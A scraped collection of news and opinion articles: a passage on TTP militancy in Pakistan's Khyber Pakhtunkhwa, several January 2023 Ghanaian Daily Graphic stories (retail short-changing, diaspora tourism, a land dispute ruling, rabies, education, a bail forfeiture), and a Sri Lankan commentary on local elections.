On the contrary, an October 12, 2022, report suggested that the TTP had re-emerged violently in the restive areas of Swat, as militants detained Police personnel and an Army officer after enforcement officials launched an operation to capture TTP militants. Earlier, an August 12, 2022, report noted that TTP militants had established a check-post at Balasoor Top, besides roaming about freely in other areas of the Matta tehsil of Swat. The areas included Bar Shor, Koz Shor, Namal, Gat Peuchar and among others. Significantly, the Geo News correspondent in Swat, Mehboob Ali, claimed that at least 200-250 TTP terrorists were present and operating in the area.

On December 23, 2022, after analysing the overall law and order situation in KP, the Police department declared South and North Waziristan, Lakki Marwat and Bannu Districts, terrorist trouble spots. Additional Inspector General of Police (ADGP), Operations, Mohammad Ali Babakhel declared, Southern districts, including North and South Waziristan [from among the newly-merged tribal districts] as well as Lakki Marwat and Bannu districts [from settled areas], are trouble spots.

Indeed, on December 27, 2022, Federal Interior Minister Rana Sanaullah disclosed that there were around 7,000 to 10,000 TTP fighters in the region, and they were accompanied by 25,000 members of their families. He added that some of the terrorists, who had previously laid down arms, had secretly resumed activities, and alleged, The biggest reason for this is the failure of [the] Khyber Pakhtunkhwa government and Counter Terrorism Department It is their job to stop it.

Meanwhile, a report presented to Prime Minister Shehbaz Sharif during the national security review meeting in December 2022, warned that, because of an acute shortage of staff and resources, the KP CTD would not be able to prevent or stop terrorist attacks in the province, and lacked the capacity to fight terrorism.

Significantly, in a daring incident on December 18, 2022, a detained terrorist overpowered a constable at the CTD Complex in Bannu Cantonment (Bannu District) and, after snatching the constable's weapon, freed 34 other detained terrorists. As soon as they came out of the lockup, the terrorists took possession of more weapons and started firing. One CTD constable was killed, while another was injured, and died later. Meanwhile, SFs cordoned off the area and launched an operation. Immediately after the seizure of the complex by the terrorists on December 18, two terrorists were killed, three were arrested, and two security forces personnel were injured in the exchange of fire. Efforts to induce the terrorists to surrender unconditionally continued for the next two days. On December 20, the SFs took initiated an operation against the terrorists who refused to surrender. During the resulting and fierce exchange of fire between terrorists and security forces, 25 terrorists were killed. Three terrorists were arrested and the remaining seven surrendered. Three SF personnel were killed in the operation, while another 10, including two officers, were injured. The TTP claimed responsibility for the incident.

As official talks between the TTP and the Government collapsed with the TTPs declaration of an end to the ceasefire on November 28, 2022, an escalation of violence within KP, and the possibilities of its fanning out into other areas of Pakistan, have increased dramatically. The risk of Pakistans tribal areas once again becoming the most dangerous place on earth is real.
The Mirror's Health , Lifestyle and Fashion

Melcom tellers, end this cheating

Dinah Serwaa Amankwah Lifestyle Jan - 24 - 2023 , 08:38

On Wednesday, January 11, 2023, I went to the Melcom shop at the Santasi Roundabout in Kumasi for grocery shopping. I had thought that the few goods I picked would cost about GH200 or GH300, but to my consternation, when the teller keyed in the goods, they cost more than GH500.

While brooding, after payment, I realised that the teller had short-changed me. I was flabbergasted. I asked her about the 18 pesewas balance she had not given me before she counted one pesewa coins and handed them over. When I got outside and counted, she had given me 16 instead of 18 pesewas. She really was determined to steal from me.

I am compelled to write about the occurrence because it is not an isolated one. Several times, I have experienced same treatment at the Adum Melcom as well. Sometimes, 20, 50 pesewas or more. The last time I shopped at the Adum branch, I checked the receipt on my way home and commented that I had been short-changed. The taxi driver responded that Melcom tellers would steal from shoppers at the least opportunity. I referred to such fraudulent behaviour in an article during customer service week in 2022. At the time, I mentioned a number of retail outlets which steal from shoppers.

The cheating by tellers at Melcom shops should be condemned and halted with immediate effect. No shopper would be allowed to take out goods without full payment. If I had been 18 pesewas short, the teller would not have allowed me to take the items. I would have had to forego some groceries to fully pay for others. If I cannot take out any items I had not paid for, why should Melcom tellers refuse to give me full change?

The cheating culture implies a certain level of mindless greed. The only reason tellers have a job is that people buy from the shops. The patronage earns the company revenue from which it pays tellers. By stealing from the shopper, tellers are biting the hand that feeds them. Who does that? Should Ghanaians decide to boycott Melcom because of the behaviour of their tellers, the shops would close down, and the tellers would lose their income. Are the tellers oblivious of the implications of their actions?

This fraudulent behaviour at Melcom underscores the shabby treatment meted to the Ghanaian consumer, and poor business ethics. In the corporate world, business goodwill determines the core principle, the customer is always right. In contemporary times, that is also explained as the You Attitude, which implies that businesses place the customers interest first. The opposite is the selfish I Attitude. Apparently, tellers at Melcom champion the latter.

The foreign entity is operating successfully in the country, judging by the rapid springing up of branches across the country. It is an Indian company, so the financial benefits accrued from operating in Ghana spirals directly to India. The company must therefore ensure that its tellers respect customers.

The flip side of the issue is that the tellers are Ghanaians cheating fellow country people. The management may neither have a hand in the cheating culture nor an inkling of the shady behaviour of the tellers. If that is true, then it would simply be another instance of rapacious Ghanaians duping fellow citizens, as has become almost a national trait now. Utterly deplorable behaviour!

If the management of Melcom did not know about the cheating going on in their shops until this article, then it does now and should take prompt steps to end the practice. The tellers may be initiating the cheating, customers may be blaming the company. The fact that the former is destroying the reputation of Melcom ought to prompt the management to act, else it becomes culpable.

No one should raise the mundane argument that the amount involved is not significant, so the tellers should be allowed to keep it. They are breaking an ethical principle in business. Customers should be treated fairly and respectfully. Anything less is unacceptable. By short-changing shoppers, the tellers are disrespecting shoppers. The Ghana Standards Authority ought to intervene immediately to ensure best business practices.

The Indians believe in the Law of Karma: What goes around comes around. New supermarkets spring up by the day. No one shop has monopolised consumer patronage. One of these days, Ghanaians might just have enough of the cheating from Melcom tellers, and then what?

The management ought to remember that the tellers can cheat some of the customers for a long time, but they cannot cheat all the customers all the time. If the nauseous practice is not stopped, disenchanted shoppers will take their business elsewhere. No business worth its salt supervises the loss of its customers.

In the meantime, shoppers must not only be diligent but also assertive and demand full change from Melcom tellers. If I shop at any Melcom shop again, I will instruct the teller to give me full change before I pay and I will count my change at the counter to ensure that the teller does not short-change me. Enough!

The writer is a Sr. Lecturer, Language and Communication Skills,

Takoradi Technical University,Takoradi.
The Mirror's Health , Lifestyle and Fashion

The Diaspora Invasion

Kofi Akpabli Lifestyle Jan - 24 - 2023 , 12:22

The recent holiday season last December was auspicious for tourism in Ghana particularly from the African Diaspora community. Dubbed December in Ghana, it was part of the Beyond the Return campaign which seeks to build on the success of the 2019 Year of Return initiative. This piece discusses the place of diaspora or roots tourism, especially for the African continent.

It is important to note more white-skins visit our destinations than our fellow Blacks from the Diaspora. A careful observation of records will tell you that the tourism movement is skewed far away from diaspora Africans coming to the continent and vice versa. Arrival to the Africa destination is European-heavy. As for intra-Africa tourism the less we talk about it, the better. The hint of good news is that African countries such as Rwanda have introduced visa free access for Ghanaians. It is believed that gradually more of such policies from us and other African countries would open up intra tourism.

Though the bulk of African countries have recognised tourism as a game changer to their economy theres still much left to be desired to make it a substantive industry. To date, marketing approaches largely ignore a growing and lucrative segment: young black travellers from around the world.

In the last few years, the so-called black travel moment has seen thousands of African Americans in particular go in search of experiences around the world. As the numbers of increasingly affluent African Americans have grown, more of them have been interested in connecting with contemporary urban Africa, not just safaris. Niche African American travel companies have existed for decades, but a new generation of Instagram-savvy startups is offering experiences curated to black culture, disrupting the tourism industry.

Unfortunately, African tourism authorities arent tapping optimally into this growth. A check of the numbers would show that it is a ready market worthy of investment. Where statistics are available, white baby boomers are the most frequent travellers to Africa, while China is quickly gaining. Yet, where African governments are creating new partnerships in China and India, specifically aimed at making travel easier, few are launching similar programmes with black travellers in mind. The South African Tourism Board, for example, markets extensively to black Americans. To some extent, Senegal substantially targets that market as well.

Part of the problem is marketing, and who has the budget to spend. More established tour operators have the money to buy an exhibition stall at global travel shows such as the New York Times Travel Show and these are the operators who have historically marketed to white Europeans and Americans.

But the reality is that theres something exciting happening with young African Americans showing a renewed interest in Africa, not seen since perhaps the 60s. Through sounds such as Afrobeats and the growing popularity of African textiles in modern fashion, there is a new, more intimate curiosity to discover an Africa beyond the traditional imagery of lions and game reserves.

Emerging tour operators could cater to this new travelling demographic but they would need support from state-run tourism agencies.

Leadership from these organisations in opening the market and providing strong leads would open up a huge window of opportunity for the segment. With no oversight or assistance, there are small operators who have spotted the potential of this trans-Atlantic curiosity and are exploiting it. Small, often informally organised groups are filling the gap with so-called heritage trips, which promise to reunite African Americans with their long lost ancestral villages, but leave a sense of disappointment or downright dishonesty.

Meanwhile, more and more Black Americans want to travel to the continent beyond sites such as Senegals Goree island and Ghanas Cape Coast and Elmina Castles but are put off by negative stereotypes or a lack of information. Disincentives range from cost, harassment and the perception that some Africans do not like Black Americans.

Diaspora tourism comes in many forms, including family visits, heritage or roots tourism to medical tourism, business travel, and birthright tours. However, regardless of the purpose of their travels, diaspora members are generally more likely to infuse money into the local economy when travelling to their country of heritage than most international tourists.

Recent emigrants are familiar with the culture and may not need international agents to charge them higher rates in order to feel comfortable and at home. As a result, diaspora tourists are less likely to limit themselves to foreign-owned tourist enclaves that import their supplies and export their profits. Usually, diaspora tourists are more willing to stay in locally owned or smaller accommodations (including with friends and relatives), eat in local restaurants, and buy locally produced goods than other international travellers.

Diasporas can help open markets for new tourist destinations in their countries of heritage. Pioneering tourists themselves might choose to invest in businesses in the region after making connections on their visits. They will likely influence others to visit through word of mouth and may become involved with local community projects.
96-Year-old land dispute resolved - case travelled 1927-2023

Emmanuel Ebo Hawkson Jan - 24 - 2023 , 11:01

The Supreme Court has resolved a 96-year-old stool land dispute between two towns in the Ashanti Region  Abono and Deduako  by ruling in favour of the Chief of Abono, Nana Otuo Antwi Boasiako.

The dispute, which started in 1927, was first adjudicated by the Native Tribunal of Prempeh I, the then Asantehene, who was ousted and exiled by the British in 1896, and later returned as Kumasihene in 1924.

In a unanimous decision on Wednesday, January 18, this year, a five-member panel of the Supreme Court held that the disputed 938 acres of land belonged to the Abono community.

Consequently, the court gave possession of the land to Nana Antwi Boasiako and slapped the Chief of Deduako and defendant, Nana Adjei Panin, with a cost of GH30,000, and GH40,000 in damages for trespassing on the land.

The plaintiff/appellant (Chief of Abono) is granted declaration of title to and the recovery of possession of all that piece of parcel of the disputed land known and called Abono and bounded on one side by Kuntanase, Deduako and Nyameani, and identified as 938 acres of land specifically delineated on the survey map, the court held.

The five-member panel of the apex court was presided over by Justice Jones Dotse, with Justices Nene Amegatcher, Gertrude Torkornoo, Professor Henrietta Mensa-Bonsu and Emmanuel Yonny Kulendi as members.

The court did not immediately give the full reasons for its decision, which it said, would be deposited at the Registry of the Court.

Successful appeal

Apart from slapping Nana Adjei Panin with cost and damages, the highest court of the land also placed a perpetual injunction on him, restraining him from ever interfering with the peaceful possession of the land by the Chief of Abono.

The court gave the judgment after it set aside a decision of the Court of Appeal, which had ruled in favour of the Chief of Deduako.

That followed a successful appeal against the decision of the Court of Appeal by the Chief of Abono.

The Director of the Ghana School of Law (GSL), Omansomfo Barima Oppong Kodie, aka Yaw Oppong, was lawyer for the appellant.

Nana Antwi Bosiako filed the appeal in 2021 challenging the decision of the Court of Appeal dated July 30, 2020, which had reversed a judgment of the Kumasi High Court granting him possession of the land.

By unanimous decision of this court, the appeal by the Plaintiff herein is hereby allowed. Accordingly, the Court of Appeal judgment dated July 30, 2020, is hereby set aside, and in its place the High Court judgment dated May 30, 2018 is restored, the Supreme Court held.

First suit

Abono and Deduako share a boundary at a section of their lands.

Court documents showed that in 1927, the then Chief of Abono, Nana Kofi Tumtuo, sued the then Chief of Deduako, Nana Kwame Adjaye, for possession of a cemetery which was on the boundary of the two towns.

The dispute was before the Native Tribunal of the Kumasihene and on May 19, 1927, the tribunal held that the disputed cemetery belonged to Deduako.

Although the tribunal declared the land in favour of Deduako, it held that the people of Abono could still bury their dead at the cemetery provided they performed the customary rights of presenting drinks to the Deduako stool.

It was also the considered view of the tribunal that the land on the right side of the cemetery was for Abono, while Deduako owned the land on the left side of the cemetery

Per the court documents, many years after the Native Tribunal suit, the Chief of Abono realised that the Deduako stool and its subjects had gone beyond the cemetery and trespassed on Abono lands.

Try hard as the Abono stool may do to ward off the encroachers, the Deduako subjects would not stop their act of trespass, court documents showed.

Second suit

In 2007, Nana Antwi Boasiako dragged Nana Adjei Panin to the Kumasi High Court to recover possession of the land.

The High Court upheld the case of the Chief of Abono. Dissatisfied, the Chief of Deduako appealed to the Court of Appeal where he lost. He then appealed to the Supreme Court.

The Supreme Court ordered the High Court to hear the dispute afresh and determine it by ordering a survey of the disputed area, taking into consideration the demarcation done by the Native Tribunal in 1927.

Third case

Following the order by the Supreme Court, the High Court heard the matter again and determined it in favour of the Chief of Abono on May 30, 2018.

The Chief of Deduako appealed to the Court of Appeal once again, and on July 30, 2020, the second highest court upheld the appeal.

Dissatisfied, the Chief of Abono appealed to the Supreme Court in 2021, and it was that appeal that culminated in the latest decision of the highest court of the land on January 18, this year.

Grounds of appeal

Making a case for the appeal, Mr Oppong argued that the judgment by the Court of Appeal which was in favour of Nana Adjei Panin, was against the weight of evidence.

According to counsel, evidence on record which emanated from the Native Tribunal ruling in 1927 and other pieces of evidence clearly showed that the land in dispute was for the chiefs and people of Abono and not Deduako.

Again, it was the submission of Mr Oppong that the Court of Appeal did not take into consideration certain fundamental breaches of the law in the appeal filed by Nana Adjei Panin before granting it.

For instance, counsel said the notice of appeal filed by Nana Adjei Panin referred to the date of the judgment of the High Court as May 31, 2018, when in fact the judgment was delivered on May 30, 2018.
After Daily Graphic publication... Atiyorum gets new classroom block

Gilbert Mawuli Agbey Jan - 24 - 2023 , 07:34

The Atiyorum Primary School in Kandiga in the Kassena Nankana West District in the Upper East Region has been provided with a new six-unit classroom block with ancillary facilities to enhance teaching and learning.

This followed a story by the Daily Graphic in June 2022, which highlighted the dilapidated nature of the primary school block in the community as posing danger to the pupils.

Schoolchildren in the community, with a population of more than 1,000, were educated in an old classroom block which had developed cracks and was on the verge of collapse.

The poor state of the school infrastructure was a source of worry for the community members, particularly the Assembly Member of the Kaasi/Atiyorum Electoral Area, Charles Akanfule, who wrote several letters to the district assembly and non-governmental organisations (NGOs) for assistance towards the construction of a new classroom block for the school.

Soon after Daily Graphics story, an international NGO, Engage Now Africa, with funding from ASEA Foundation, constructed the new six-unit classroom block with ancillary facilities and a borehole within four months to improve academic work in the school.

The new block also provides a headteachers office, staff common room, a library and a toilet facility.



Request for support

At a ceremony to inaugurate the project, the Country Director of the NGO, Cecelia Abankwah, said her outfit received a letter from the Kassena Nankana West District Assembly, appealing for support for the community.

She said upon hearing of the plight of the school, the NGO made a proposal to the ASEA Foundation for funding to execute the project to provide a safe and conducive learning environment for the pupils of the school.

She expressed the hope that the new school block would enable the pupils to be adequately prepared to compete with their counterparts in cities and towns in the Basic Education and Certificate Examination (BECE).

Satisfaction

The District Director of the Ghana Education Service (GES), George Woyongo, expressed excitement and satisfaction over the construction of the classroom block for the school.

He challenged the learners to justify the funds invested in the construction of the classroom block by studying hard to get excellent results to further their education to the senior high and tertiary levels.

The Chief Executive of the Kassena Nankana West District Assembly, Gerard Ataogye, said out of the 68 primary schools in the district, the Atiyorum Primary School was the most life-threatening until the construction of the new block.

He called for the strengthening of collaboration between government and NGOs to provide basic facilities for the benefit of the people, saying we cannot always rely on the government for the provision of such facilities; NGOs and corporate bodies can also support.

The Chief of Kandiga, Naba Amenga Etego II, urged the management of the school to ensure that the school was always in good shape to last longer to benefit other generations.
Dellino, 17 Spanish firms to produce local interior products

Biiya Mukusah Ali Jan - 24 - 2023 , 13:44

Dellino Exclusive, a Ghanaian firm engaged in interior solutions, is partnering with some 17 Spanish companies to begin the production of European standard interior products and accessories locally in the next four years.

The partnership will help to build local capacity, and offer quality interior solutions that can compete with the influx of inferior substitutes in the Ghanaian and African market.

A modern showroom intended to serve as a host for products and solutions from all the 17 Spanish companies has been established at East Legon in the Greater Accra Region, towards that.

Dellino Exclusive is a multi-brand interior solution company and a sole distributor for European luxury brands and manufacturers across Africa.

Industrialisation efforts

Inaugurating the three-storey infrastructure in Accra last Friday, the Chief Executive Officer (CEO) of Dellino Exclusive, Edmund Nminyem Delle Jr, said the interior solution firm has nurtured a clear plan to support the countrys industrialisation efforts.

He explained that the companies would initially import the products and wares from their manufacturing hub in Spain, but would start producing locally in the next 48 months.

Already, he said, discussions with relevant stakeholders were underway to establish a manufacturing facility in Ghana to produce locally.

We also want to establish workshops locally to help improve the skills of Ghanaian artisans to global standards.

The challenge in Ghana is not the raw materials for the products, but skilled personnel, he said.

Multi-brand firm

Mr Delle said the showroom was designed to aid the companys quest to introduce quality products and services to support estate developers, individuals and the hospitality industry.

We are looking forward to working with interior designers, architects and individuals to offer high quality products for the Ghanaian market and beyond, he said.

Most often, the products seen on the market are inferior, and for that reason we want to change the narration, he added.

Family business

The Paramount Chief of the Nandom Traditional Area, Naa Professor Edmund Nminyem Delle Chiir VIII, urged the management of Dellino Exclusive to strive to build the business on a solid vision, mission and character in order to grow into a big multinational company that could benefit many Ghanaians and Africans in general.

Dellino is a name for the Delle family business.

The first company to be named Dellino was a forex bureau established by the Delle family at East Legon in Accra.

Welcoming news

The Chairman of the Accra branch of the Association of Ghana Industries (AGI), Tsonam Cleanse Akpeloo, said it was welcoming news for the firms to express interest in producing the products in Ghana for the African market.

He said the AGI was ready to support the firms to establish manufacturing hubs in Ghana to profit Africas over 1.2 billion consumers under the Africa Continental Free Trade Area.

He said the association was positioned to facilitate trade and business exchange by carrying out proactive support services with the view to contribute substantially to the growth and development of industries in Ghana.

The showroom

The new showroom offers solutions such as bedroom, kitchen, bathroom and dining accessories.

Others are lighting systems, doors and windows, locks cabinets, shelves, coffee stations, pub stations, library furniture, ceramics and quality porcelain tiles.

Some of the firms that have displayed their produce and wares are DOCA, ASCALE, Alexandra, Thermia Barcelona, Angel Cerda, Aromas and Naxani.

Executives of the firms told the Daily Graphic that the partnership with Dellino Exclusive would enable them to reach consumers in West Africa and beyond.
Educate youth on migration issues "Queen mothers urge GIS"

News Desk Report Jan - 23 - 2023 , 15:10

THE Queen Mothers Foundation of Ghana has called for a stronger collaboration among stakeholders and the Ghana Immigration Service (GIS) to sensitise and enlighten young persons to current migration trends.



The foundation said this would mitigate the increasing migration threats and how unsuspecting young people were being lured with promises of greener pastures outside Ghana, only to be caught in dangerous and challenging conditions.

The President of the foundation, Nana Ama Serwaa Bonsu, made the suggestion when she led a delegation of the foundation to call on the Comptroller- General of the GIS, Kwame Assuah Takyi, at his office in Accra.

The meeting was to discuss how the two organisations could collaborate to bring such education to the communities.

The Queen Mothers Foundation is an establishment that advocates the empowerment of the marginalised and the underprivileged, and seeks the welfare of particularly the youth and sick in their communities.

Migration adventure

Nana Serwaa Bonsu said while migration provided exposure, experience and opportunities, it posed danger when not done legally and sometimes ended up being even death traps for migrants.

Unfortunately, many young people in search of opportunities are not aware of these dangers and are so quick to jump on any chance to travel without considering the consequences, she added.

An executive of the foundation, Nana Kobiwa-Akwa III, said her experience on travelling to many parts of the world had helped to shape her perspective on the job descriptions of immigration officers.

My experience as a traveller has helped me to appreciate the transformation the GIS has seen in recent years, she said.

Nana Serwaa Bonsu also bemoaned the deviant activities of some foreign nationals in Ghana, which he said continued to cause friction and unrest in their communities.

GIS collaboration

Mr Asuah Takyi noted that the roles played by queen mothers could not be over-emphasised, especially in helping citizens to understand and appreciate the work of the GIS in keeping communities secure and urged the group to help to educate their communities on the importance of sharing relevant information with officers when necessary.

He said there was the need for a greater collaboration among stakeholders to ensure that young people were well-informed about the risks involved in illegal migration and signing on to unverified programmes just for the opportunity to seek greener pastures.

He assured the queen mothers that the GIS would continue to work with traditional leaders since they also had influence on communities.

The Comptroller General highlighted some of the challenges the GIS was currently facing, but assured the queen mothers that their concerns that fell under the remit of the service would be given the needed attention.
Former MASLOC boss trial: Court orders Alex Mould, Gavivina to pay GH5m bail bond to state

Justice Agbenorsi Jan - 24 - 2023 , 10:54

The Accra High Court has ordered the two securities who secured a GH5 million bail for former boss of the Microfinance and Small Loans Centre (MASLOC), Sedina Tamakloe Attionu, to pay the bail bond to the state for failing to produce the accused person to stand trial.

The sureties  Alex Mould, a former Chief Executive Officer (CEO) of the Ghana National Petroleum Corporation (GNPC), and Gavivina Tamakloe, a brother to the accused person were slapped with a forfeiture of recognisance today (Jan 24) when the case came up for hearing at the Court presided over by Justice Afia Serwah Asare-Botwe.

Per Section 104 of the Criminal Offences (Procedure) Act, 1960 (Act 30), if the two sureties are unable to pay the GH5 million bail sum, the court can order the sale of their properties to recover the amount.

The Court will on February 7, 2023, make a determination on whether or not to try Attionu in absentia

Attionu absent



Attionu is on trial for allegedly causing financial loss of GH90 million to the state during her tenure as the CEO of MASLOC between 2013 and January 2017.

She has failed to show up for the trial for the past 16 months after being granted permission by the court to travel to the USA for medical treatment.

In November last year, Justice Asare-Botwe expressed her displeasure about the situation, and issued a bench warrant for the arrest of Mrs Attionu to force her to attend the trial.

Afterwards, the prosecution filed an application for trial in absentia.

It then followed up with an application for forfeiture of recognisance, which is directed at the two sureties who executed Mrs Attionus GH5 million bail bond to show any justification why they should not be made to pay the bail sum due to her absence from the trial.

The two sureties who executed the GH5m bail conditions for the former CEO of the Microfinance and Small Loans Centre (MASLOC) were first ordered to produce the accused on December 22, 2022.

The court subsequently extended the deadline due to processes filed by lawyers for the accused and the sureties.

Ruling



However in Court today (Jan 24), Justice Asare-Botwe, who has been promoted to the Court of Appeal, noted that documents filed at the court indicated that Attionu would need a minimum of an additional six to nine months for a further examination of her medical conditions.

The Court in its ruling held that nothing in the medical report from the United States, indicated that the accused was incapable of traveling, or not fit for standing trial.

She added that nothing in the report, indicated that the medical examination could not be done here in her home country.

The entire 16-month delay is more than enough time that has been given and I do not think anyone can complain about a 16-month delay.

So I have the very unpleasant duty to order that the bond be forfeited to the state, the presiding judge ruled.
Governing Council of Ghana College of Nurses and Midwives inaugurated

Jemima Okang Addae & Diana Mensah Jan - 24 - 2023 , 12:15

The Minister of Health, Kwaku Agyemang-Manu, has said the ministry is working towards a bilateral agreement with the United Kingdom (UK) to send and train nurses.

He said the ministry would use the opportunity to regulate and identify prospects in the agreement that would benefit Ghanaian nurses.

Mr Agyemang-Manu stated this at the inauguration of the governing council of the Ghana College of Nurses and Midwives.

The council is chaired by George Abankwah-Yeboah, the Presidents nominee with the task of steering the affairs of the college and upholding the colleges mandate.



Members

The board members include, the Presidents nominee, Timothy Kwegyir Aggrey; the Rector of the college, Hannah Akua-Oparebea Acquah; Vice President of the college (Nursing), Dr Gloria Achempim-Ansong; Vice President of the college (Midwifery) Susuana Van-Brocke; a representative from the MoH, Dr Baffour Awuah, and the Dean of the Pharmacy Training School, Dr Nancy Innocentia Enyan.

The rest are a representative from the council, Philomena Nyarko Wooley; a representative from the Attorney-Generals Department, Patience Adumua-Lartey; a resident representative, Andrew Holyfield Tettey; representatives from the Nurses and Midwives Association of Ghana, Perpetual Ofori-Ampofo, and Netta Forson Ackon, as well as a representative from the college.



Intenship to UK

Mr Agyemang-Manu explained that the nurses exported to the UK would start off as interns at various hospitals in the country, gain skills and return.

He said the nurses would be paid as employees saying, that is what we are going to do and the state will benefit.

That is how we have negotiated.

We have not completed the exercise yet because we are having large numbers.

People are requesting we open more schools.

We say no because the UK government wouldn't know where they would work, he added.

Response

The council chair, Mr Abankwa-Yeboah, said one of the aims of the college was to train nurses that could take over in the absence of doctors.

The Rector of the college, Mrs Acquah, said the task ahead of the board was big because in the past, nurses in the country were general nurses and midwives and did not specialise but since the world was moving forward Ghana needed to improve.

"At least we can have nurses that take care of children, nurses who are specialised in taking care of cancer patients, and emergencies.

So it is a big task we have taken upon ourselves to do", she added.
Lackadaisical attitude risks 2030 rabies elimination target - Veterinary director expresses worry

Biiya Mukusah Ali Jan - 24 - 2023 , 07:00

The general publics lackadaisical attitude towards vaccination of dogs and other pets may affect the national target to eliminate rabies by 2030.

This is because many unvaccinated pets, particularly dogs and cats, are left to roam on the principal streets of communities and that put all community members at risk.

The Bono Regional Director of the Veterinary Services, Dr Donald Joachim Darko, who expressed the concern, said it had been proven that when about 70 per cent of pets across the country were vaccinated for three consecutive years, it was possible that the country would meet the target.

"The country may not be able to attain the target because of our lackadaisical attitude towards vaccination of our dogs and other pets. It is possible to achieve the elimination target if we make a conscious effort, Dr Darko said in an interview with the Daily Graphic, and thus encouraged people with pets to help achieve the target by vaccinating their dogs and cats.

Rabies

Rabies is a deadly viral disease of warm-blooded animals which is transmitted to humans through the bite or a scratch of an infected animal, resulting in fatal encephalitis (inflammation of the brain), nervous system disorder and death.

Because of the deadly nature of the virus, the World Health Organisation (WHO) has instituted September 28 every year as World Rabies Day to raise awareness of and make advocacy for the elimination of rabies globally.

Rabies virus is usually spread from the saliva of infected animals such as dogs, cats, bats, coyotes, foxes, skunks and raccoons.

The symptoms of rabies include fever, headache, excess salivation, muscle spasms, paralysis and mental confusion.

4 Die in Bono

The Bono Regional Director of the Veterinary Services disclosed that four people died of rabies in the region in 2022, with the said cases reported from the Sunyani Municipality, the Jaman North District and Jaman South Municipality during the year in review.

He described as unfortunate, the situation where people die due to rabies and decried the general attitude of the general public towards their pets.

Dr Darko said more people from Africa and Asia were dying from rabies than Europe, because the two continents continued to ignore vaccination of pets.

Rabies is a killer disease such that only one case of rabies is considered as an outbreak. This tells you how dangerous the disease is, he stressed.

Sharing some statistics with the Daily Graphic, the Bono Regional Director of the Veterinary Services said in 2021, 8,171 pets were vaccinated in the Bono Region as compared to 3,606 vaccinations in 2022.

He explained that the numbers in 2021 increased because the National World Rabies Day was celebrated at Odumase in the Sunyani West Municipality, which attracted pet owners to patronise the free vaccination exercise.

He said after the free vaccination exercise championed by some non-governmental organisations (NGOs), the numbers began to decline in subsequent years.

Subsidise vaccines

Dr Darko urged Municipal and District Assemblies (MDAs) to hold annual anti-rabies campaigns, in collaboration with the veterinary unit of the Ministry of Food and Agriculture (MoFA), to intensify education on rabies and vaccination of pets.

He said it was proper for the assemblies to subsidise vaccines and provide resources and logistics for the vaccination of pets in their areas to boost patronage.

If we fail to do that, then we are heading towards doom of rabies in the region because a rabies-infected dog does not know whether you are a municipal chief executive (MCE), district chief executive (DCE) or a Coordinating Director. It will attack and bite you if it has to, Dr Darko stressed.

Home remedy

The Bono Regional Director of the Veterinary Services advised the public to immediately go to hospital for medical attention when bitten by a dog or cat, whether the animal was infected with rabies or not.

However, he explained that before the victim would be rushed to a health facility, the bitten part of the body should be washed thoroughly with soap and not detergent, explaining that washing the wound with soap and excess water would help reduce the load of the virus, before the victim receives treatment at the health facility.

He further expressed worry that children below 15 years were most victims of dog bites, and stressed that vaccination of dogs could help prevent infection.

Vaccination

To help improve the statistics nationally, Dr Darko called on health workers to partner Veterinary Services workers to encourage the public to vaccinate their pets, particularly dogs and cats.

He also appealed to health workers to cooperate with the service in treating dog bites at their facilities to ensure proper diagnoses and treatment.

He stated that every dog or cat was expected to be vaccinated with Anti Rabies Vaccine once a year, adding that the vaccination of an animal should be started three months after birth.
Put out-of-school children in classrooms: Prof. Anamuah-Mensah urges

Emmanuel Bonney Jan - 24 - 2023 , 12:37

THE government should make conscious efforts to locate out-of-school children and put them in classrooms to ensure their proper development, an education expert, Prof. Jophus Anamuah-Mensah, has said.

Failure to put such children in school could result in them developing into certain personalities who could create problems for everyone, he said.

Prof. Anamuah-Mensah also called for increased investment in the education sector to ensure no one was left behind irrespective of where they were located for the accelerated development of the country.

According to the 2021 Population and Housing Census (PHC),1,215,546 children of school age (4 to 17 years) in the country were not attending school.

Out of that number, almost 942,427 children had never attended school.

Occasion

Prof. Anamuah- Mensah said this in an interview with the Daily Graphic in Accra as part of activities to commemorate the fifth International Day of Education which is being celebrated today on the theme: To invest in people, prioritise education.

The UN General Assembly proclaimed January 24 as International Day of Education in recognition of the role of education in ensuring peace and development.

Globally, 244 million children and youth are out of school, while 771 million adults are non-literate.

Significance

Prof. Anamuah-Mensah said that the celebration of the day was important because it served as a wake-up call on governments to prioritise and invest more in education.

He acknowledged that although there had been some interventions such as the Free Compulsory Universal Basic Education, the Capitation Grant, as well as the Free Senior High School programme, more children were still at home and on the streets not going to school.

We need to get everyone, including the disabled and other vulnerable persons to go to school up to the highest level, he said.

Prof. Anamuah-Mensah said if it was due to poverty that they were not in school, they could be offered some kind of support, including scholarships.

The country needs everyones support and everyones input to make it better for all of us.

My view is that if we leave anyone out then we are not really prioritising education the way we should.

So we need to make sure education is prioritised over suppression or discrimination.

It should not be that only children of the elite go to the best schools while those who cannot afford go to whatever school, he added.

The former Vice-Chancellor also stressed the need to equip schools with the necessary tools to ensure quality education.

He lauded the effort by the Ministry of Education to champion Science, Technology, Engineering and Mathematics (STEM) education in the country.

Budget allocation

Meanwhile, an advocacy organisation, Africa Education Watch (Eduwatch), has also entreated the government to step up effort by increasing the current allocation of the national education budget from 12 per cent to 23 per cent with priority on basic education infrastructure.

The recent 40 per cent budgetary cut in the free basic education (goods and services) budget is regrettable.

Providing new school buildings to replace the 5,000 schools under trees and sheds, and building new public basic schools in under-served communities to accommodate the one million out-of-school children is critical to achieving equitable access, the Executive Director of Eduwatch, Kofi Asare, said.
The local government institutions are the base of our democracy with ancient roots. Throughout centuries, people used to rely on GramaSabhas (Village Councils) for their day-to-day necessities and functions.

by Laksiri Fernando

In a months time, the future of Sri Lanka will be decided not only in democratic terms but also in economic terms. There will be a strong democratic uprising if the government fails to hold the local government elections scheduled to be held in March 2023. By next month, whether the government allows the Elections Commission to hold the elections will be clearer. This is going to be the litmus test.

Democracy and Free Economy are like twin sisters. No parent should try to neglect one against the other. Both are necessary to address peoples economic needs, human rights, and social wellbeing. Although Sri Lanka has been one of the pioneer countries to introduce universal franchise (1931), and democratic governance (1947), since the introduction of a presidential system (1978), democracy has taken a strong downturn, the predicament of which is experienced throughout the country by all sections of society.

Past Character of the President?

It is no accident that the present President, Ranil Wickremesinghe, who has now come to power by accident, was a strong supporter of the presidential system that his uncle introduced in 1978. Therefore, there is no further surprise that he now makes his full efforts not to hold local government elections, clearly realizing that his party or his (Rajapaksa) allies will not be able to win the elections.

Sri Lanka Election Commission officials kick off duty for the new year 2023 [ Photo Credit: Election Commission of Sri Lanka ]

